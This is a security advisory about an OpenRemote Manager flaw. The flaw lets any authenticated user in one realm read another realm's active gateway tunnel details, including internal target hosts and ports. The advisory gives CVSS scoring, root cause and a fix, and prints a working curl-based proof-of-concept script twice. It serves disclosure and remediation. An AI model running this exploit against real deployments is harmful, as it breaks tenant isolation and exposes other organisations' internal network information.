io.openremote:openremote-manager: Cross-realm gateway tunnel-info disclosure (getGatewayActiveTunnelInfos missing realm scoping)
What fixes it
- 1.31.0 io.openremote:openremote-manager, mavenGitHub
A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.
Description
OPENREMOTE-003 — Cross-realm gateway tunnel-info disclosure (getGatewayActiveTunnelInfos)
Summary
The REST endpoint GET /gateway/tunnel/{realm}/{id} (GatewayServiceResourceImpl.getGatewayActiveTunnelInfos) returns the active tunnel information for a gateway identified by the caller-supplied {id} path parameter. For a non-restricted user it validates only that the {realm} path argument equals the caller's own realm (which the attacker trivially satisfies by passing their own realm) and then calls gatewayService.getGatewayTunnelInfos(gatewayId), which filters the tunnel set **only by gatewayId and not by realm**. As a result, any authenticated user in realm A who knows a gateway asset ID located in another realm B receives realm B's active tunnel information (internal target host/port and gateway routing data), crossing the tenant isolation boundary.
The two sibling endpoints handle this correctly: getAllActiveTunnelInfos and getActiveTunnelInfo both additionally filter tunnel.getRealm().equals(realm). Only getGatewayActiveTunnelInfos omits the realm predicate — a clear, isolated defect.
CVSS v3.1
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N → Base 5.0 (Medium)
Metric-by-metric:
- AV:N — network HTTP API.
- AC:L — single request; no special conditions in the code path itself.
- PR:L — any authenticated user in some realm. The endpoint has **no
@RolesAllowed** (unlike its read:admin-gated sibling), so even a low-privilege authenticated user qualifies; the impl only checks isAuthenticated() + realm == own realm (+ isUserAsset for restricted users).
- UI:N — none.
- S:C — data belongs to a different realm's security authority than the caller's.
- C:L — leaks gateway tunnel metadata (target host, target port, gateway ID,
auto-close/expiry) for another realm; sensitive but bounded to tunnel routing info.
- I:N / A:N — read-only.
*Precondition caveat:* the attacker must know or guess a gateway asset ID in the victim realm (22-char random identifier). This raises practical difficulty but does not change the fact that the realm-scoping control present in the sibling methods is missing here; the leak is real once an ID is known (IDs appear in logs, exports, shared UI links, or a co-tenant relationship).
CWE
- CWE-639: Authorization Bypass Through User-Controlled Key
- CWE-284: Improper Access Control
Affected component
manager/src/main/java/org/openremote/manager/gateway/GatewayServiceResourceImpl.java
getGatewayActiveTunnelInfos (lines 45-64) — missing tunnel.getRealm().equals(realm) filter that the siblings getAllActiveTunnelInfos (line 41) and getActiveTunnelInfo (line 85) apply.
manager/src/main/java/org/openremote/manager/gateway/GatewayService.java
getGatewayTunnelInfos(String gatewayID) — filters only by gatewayId, no realm.
- Interface:
model/src/main/java/org/openremote/model/gateway/GatewayServiceResource.java:29-33
(@Path("tunnel/{realm}/{id}"), no @RolesAllowed).
- Commit: HEAD
3dbc182134; present in all releases ≤ 1.26.1.
Reachability
- Attacker authenticates as any user in realm A.
- Calls
GET /api/A/gateway/tunnel/A/{victimGatewayId}wherevictimGatewayIdis a
gateway asset in realm B.
- Realm check
!isSuperUser() && !getAuthenticatedRealmName().equals(realm)passes
(attacker passed realm=A, their own realm).
isRestrictedUser() && !isUserAsset(...)— for a non-restricted user this branch is
skipped entirely; for restricted users it would block, but a normal realm user is not restricted.
gatewayService.getGatewayTunnelInfos(victimGatewayId)returns realm B's tunnels
for that gateway, unscoped by realm → returned to the realm-A caller.
Root cause
Inconsistent authorization across sibling endpoints: the realm-binding of the returned tunnel set was applied in getAllActiveTunnelInfos/getActiveTunnelInfo but omitted in getGatewayActiveTunnelInfos, which resolves and returns tunnels by a global, caller-supplied gateway ID.
Proof of concept (safe / benign)
#!/usr/bin/env bash
set -euo pipefail
HOST="${HOST:-https://localhost}"; KC="${KC:-https://localhost/auth}"
ATTACKER_REALM="${ATTACKER_REALM:-building}"; USER="${USER_NAME:-building}"; PASS="${PASS:-secret}"
VICTIM_GATEWAY_ID="${VICTIM_GATEWAY_ID:-<gateway asset id in another realm>}"
TOKEN=$(curl -sk -X POST "$KC/realms/$ATTACKER_REALM/protocol/openid-connect/token" \
-d grant_type=password -d client_id=openremote \
-d username="$USER" -d password="$PASS" | jq -r .access_token)
# Pass MY realm in the path, but a gateway id that lives in ANOTHER realm:
curl -sk -H "Authorization: Bearer $TOKEN" \
"$HOST/api/$ATTACKER_REALM/gateway/tunnel/$ATTACKER_REALM/$VICTIM_GATEWAY_ID" | jq .Expected observable: a non-empty array of GatewayTunnelInfo objects whose realm field is the victim realm B (and whose target/targetPort describe hosts the attacker's realm has no access to), confirming the cross-realm leak. A correctly-scoped endpoint would return an empty array (as getAllActiveTunnelInfos/getActiveTunnelInfo do).
*Static verification note:* confirmed by source comparison against the correctly-scoped sibling methods; not dynamically executed (requires a running multi-realm manager with active gateway tunnels).
Adversarial re-read (what I tried to refute it with)
- *Does
getGatewayTunnelInfosfilter by realm somewhere?* No — read the method: it is
getTunnelInfos().stream().filter(t -> t.getGatewayId().equals(gatewayID)). No realm.
- *Does the
{realm}path parameter constrain the returned set?* No — it is only used
in the getAuthenticatedRealmName().equals(realm) guard, not passed to the tunnel lookup. The attacker sets it to their own realm to pass the guard.
- *Is the endpoint restricted to admins?* No
@RolesAllowedat all; broader than the
sibling that carries @RolesAllowed({read:admin}).
- *Residual doubt:* the attacker must know a victim gateway ID (unguessable 22-char).
This is a real practical barrier, so the finding is bounded to Medium/Moderate, but the missing realm predicate is an objective defect (the siblings have it).
- Survives as a Moderate cross-realm information-disclosure → CONFIRMED (static),
severity Moderate.
Remediation
Filter the returned tunnels by realm exactly as the siblings do, e.g.:
return Arrays.stream(gatewayService.getGatewayTunnelInfos(gatewayID))
.filter(tunnel -> tunnel.getRealm().equals(realm))
.toArray(GatewayTunnelInfo[]::new);or verify the gateway asset's realm equals the caller's realm before returning, and add a @RolesAllowed constraint consistent with getAllActiveTunnelInfos.
Confidence
High that the realm-scoping control is missing (direct source comparison with the sibling methods); severity Moderate due to the gateway-ID knowledge precondition. STATIC-SUSPECTED (not dynamically executed).
Proof-of-Concept source (or003_gateway_tunnel_idor_poc.sh)
#!/usr/bin/env bash
# PoC for OPENREMOTE-003 — cross-realm gateway tunnel-info disclosure via
# GET /gateway/tunnel/{realm}/{gatewayId} (getGatewayActiveTunnelInfos).
#
# Precondition: any authenticated, NON-restricted user in a tenant realm A, plus
# knowledge of a gateway asset id that lives in another realm B.
#
# The method validates only that the {realm} path arg == the caller's own realm
# (attacker passes realm=A, which passes), then returns
# gatewayService.getGatewayTunnelInfos(gatewayId), which filters ONLY by gatewayId
# and NOT by realm (GatewayService.java). The sibling methods
# getAllActiveTunnelInfos / getActiveTunnelInfo both additionally filter
# tunnel.getRealm().equals(realm) -- this one omits it. Result: realm-B tunnel infos
# (internal target host/port) leak to a realm-A user.
#
# Local instance only.
set -euo pipefail
HOST="${HOST:-https://localhost}"
KC="${KC:-https://localhost/auth}"
ATTACKER_REALM="${ATTACKER_REALM:-building}"
USER="${USER_NAME:-building}"
PASS="${PASS:-secret}"
VICTIM_GATEWAY_ID="${VICTIM_GATEWAY_ID:-<gateway asset id in another realm>}"
TOKEN=$(curl -sk -X POST \
"$KC/realms/$ATTACKER_REALM/protocol/openid-connect/token" \
-d "grant_type=password" -d "client_id=openremote" \
-d "username=$USER" -d "password=$PASS" | jq -r .access_token)
echo "[*] Requesting tunnel infos for a gateway in ANOTHER realm, passing my OWN realm:"
curl -sk -H "Authorization: Bearer $TOKEN" \
"$HOST/api/$ATTACKER_REALM/gateway/tunnel/$ATTACKER_REALM/$VICTIM_GATEWAY_ID" | jq .
echo "[+] Non-empty tunnel infos here (target host/port for a gateway you don't own,"
echo " in a realm you have no access to) confirm the cross-realm leak."
Text from GitHub Advisory Database
Affected versions 1
- io.openremote:openremote-manager, maven<1.31.0GitHub